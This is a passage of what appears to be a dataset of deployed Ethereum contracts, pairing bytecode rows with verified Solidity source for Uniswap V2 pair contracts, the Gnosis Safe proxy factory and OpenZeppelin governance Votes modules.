function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
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1 | 19,494,954 | 7eaf50bd41cfc2929489cc3af450f11807e4e95f5c8a480f7c68712b85ad270a | 788adf74c2eee92ec0f61b934d6ca28360fef41ef171dbe9175e749b83d1484a | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | 7eed350457d5b47c2e4e90757303456dff324ffe | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 19,494,954 | 7eaf50bd41cfc2929489cc3af450f11807e4e95f5c8a480f7c68712b85ad270a | 8bbaeb88ea836ead3ac236681ed898cac03e411b2a01adc74219fea2db9195e1 | d69eaf1cd1acb091464bcea1f359e6a694076448 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | a019b78159cd8d04dc2c54f146c7d906a989e0c1 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
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1 | 19,494,966 | b37f45003d88fd698c750f7744bd31028442086a16a43a4f4df8e8d418929377 | 871d8e70c3b7e09e27a365a6d8dbeec7c5730024da12a2588eb6921a283ca763 | 13dda63c28bb95fe9822fea43ad5feaa966636a9 | d724dbe7e230e400fe7390885e16957ec246d716 | f04420ef0180f4e5ef1716f49f04dd86e968a1bd | 3d602d80600a3d3981f3363d3d373d3d3d363d73cd767be96eb169b1ae089ff03c3f8ebec20535255af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73cd767be96eb169b1ae089ff03c3f8ebec20535255af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts/governance/utils/IVotes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (governance/utils/IVotes.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.\n */\ninterface IVotes {\n /**\n * @dev The signature used has expired.\n */\n error VotesExpiredSignature(uint256 expiry);\n\n /**\n * @dev Emitted when an account changes their delegate.\n */\n event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\n\n /**\n * @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of voting units.\n */\n event DelegateVotesChanged(address indexed delegate, uint256 previousVotes, uint256 newVotes);\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) external view returns (uint256);\n\n /**\n * @dev Returns the amount of votes that `account` had at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n */\n function getPastVotes(address account, uint256 timepoint) external view returns (uint256);\n\n /**\n * @dev Returns the total supply of votes available at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n */\n function getPastTotalSupply(uint256 timepoint) external view returns (uint256);\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) external view returns (address);\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) external;\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external;\n}\n"
},
"@openzeppelin/contracts/governance/utils/Votes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (governance/utils/Votes.sol)\npragma solidity ^0.8.20;\n\nimport {IERC5805} from \"../../interfaces/IERC5805.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {Nonces} from \"../../utils/Nonces.sol\";\nimport {EIP712} from \"../../utils/cryptography/EIP712.sol\";\nimport {Checkpoints} from \"../../utils/structs/Checkpoints.sol\";\nimport {SafeCast} from \"../../utils/math/SafeCast.sol\";\nimport {ECDSA} from \"../../utils/cryptography/ECDSA.sol\";\nimport {Time} from \"../../utils/types/Time.sol\";\n\n/**\n * @dev This is a base abstract contract that tracks voting units, which are a measure of voting power that can be\n * transferred, and provides a system of vote delegation, where an account can delegate its voting units to a sort of\n * \"representative\" that will pool delegated voting units from different accounts and can then use it to vote in\n * decisions. In fact, voting units _must_ be delegated in order to count as actual votes, and an account has to\n * delegate those votes to itself if it wishes to participate in decisions and does not have a trusted representative.\n *\n * This contract is often combined with a token contract such that voting units correspond to token units. For an\n * example, see {ERC721Votes}.\n *\n * The full history of delegate votes is tracked on-chain so that governance protocols can consider votes as distributed\n * at a particular block number to protect against flash loans and double voting. The opt-in delegate system makes the\n * cost of this history tracking optional.\n *\n * When using this module the derived contract must implement {_getVotingUnits} (for example, make it return\n * {ERC721-balanceOf}), and can use {_transferVotingUnits} to track a change in the distribution of those units (in the\n * previous example, it would be included in {ERC721-_update}).\n */\nabstract contract Votes is Context, EIP712, Nonces, IERC5805 {\n using Checkpoints for Checkpoints.Trace208;\n\n bytes32 private constant DELEGATION_TYPEHASH =\n keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\n\n mapping(address account => address) private _delegatee;\n\n mapping(address delegatee => Checkpoints.Trace208) private _delegateCheckpoints;\n\n Checkpoints.Trace208 private _totalCheckpoints;\n\n /**\n * @dev The clock was incorrectly modified.\n */\n error ERC6372InconsistentClock();\n\n /**\n * @dev Lookup to future votes is not available.\n */\n error ERC5805FutureLookup(uint256 timepoint, uint48 clock);\n\n /**\n * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based\n * checkpoints (and voting), in which case {CLOCK_MODE} should be overridden as well to match.\n */\n function clock() public view virtual returns (uint48) {\n return Time.blockNumber();\n }\n\n /**\n * @dev Machine-readable description of the clock as specified in EIP-6372.\n */\n // solhint-disable-next-line func-name-mixedcase\n function CLOCK_MODE() public view virtual returns (string memory) {\n // Check that the clock was not modified\n if (clock() != Time.blockNumber()) {\n revert ERC6372InconsistentClock();\n }\n return \"mode=blocknumber&from=default\";\n }\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) public view virtual returns (uint256) {\n return _delegateCheckpoints[account].latest();\n }\n\n /**\n * @dev Returns the amount of votes that `account` had at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * Requirements:\n *\n * - `timepoint` must be in the past. If operating using block numbers, the block must be already mined.\n */\n function getPastVotes(address account, uint256 timepoint) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n return _delegateCheckpoints[account].upperLookupRecent(SafeCast.toUint48(timepoint));\n }\n\n /**\n * @dev Returns the total supply of votes available at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n *\n * Requirements:\n *\n * - `timepoint` must be in the past. If operating using block numbers, the block must be already mined.\n */\n function getPastTotalSupply(uint256 timepoint) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n return _totalCheckpoints.upperLookupRecent(SafeCast.toUint48(timepoint));\n }\n\n /**\n * @dev Returns the current total supply of votes.\n */\n function _getTotalSupply() internal view virtual returns (uint256) {\n return _totalCheckpoints.latest();\n }\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) public view virtual returns (address) {\n return _delegatee[account];\n }\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) public virtual {\n address account = _msgSender();\n _delegate(account, delegatee);\n }\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n if (block.timestamp > expiry) {\n revert VotesExpiredSignature(expiry);\n }\n address signer = ECDSA.recover(\n _hashTypedDataV4(keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry))),\n v,\n r,\n s\n );\n _useCheckedNonce(signer, nonce);\n _delegate(signer, delegatee);\n }\n\n /**\n * @dev Delegate all of `account`'s voting units to `delegatee`.\n *\n * Emits events {IVotes-DelegateChanged} and {IVotes-DelegateVotesChanged}.\n */\n function _delegate(address account, address delegatee) internal virtual {\n address oldDelegate = delegates(account);\n _delegatee[account] = delegatee;\n\n emit DelegateChanged(account, oldDelegate, delegatee);\n _moveDelegateVotes(oldDelegate, delegatee, _getVotingUnits(account));\n }\n\n /**\n * @dev Transfers, mints, or burns voting units. To register a mint, `from` should be zero. To register a burn, `to`\n * should be zero. Total supply of voting units will be adjusted with mints and burns.\n */\n function _transferVotingUnits(address from, address to, uint256 amount) internal virtual {\n if (from == address(0)) {\n _push(_totalCheckpoints, _add, SafeCast.toUint208(amount));\n }\n if (to == address(0)) {\n _push(_totalCheckpoints, _subtract, SafeCast.toUint208(amount));\n }\n _moveDelegateVotes(delegates(from), delegates(to), 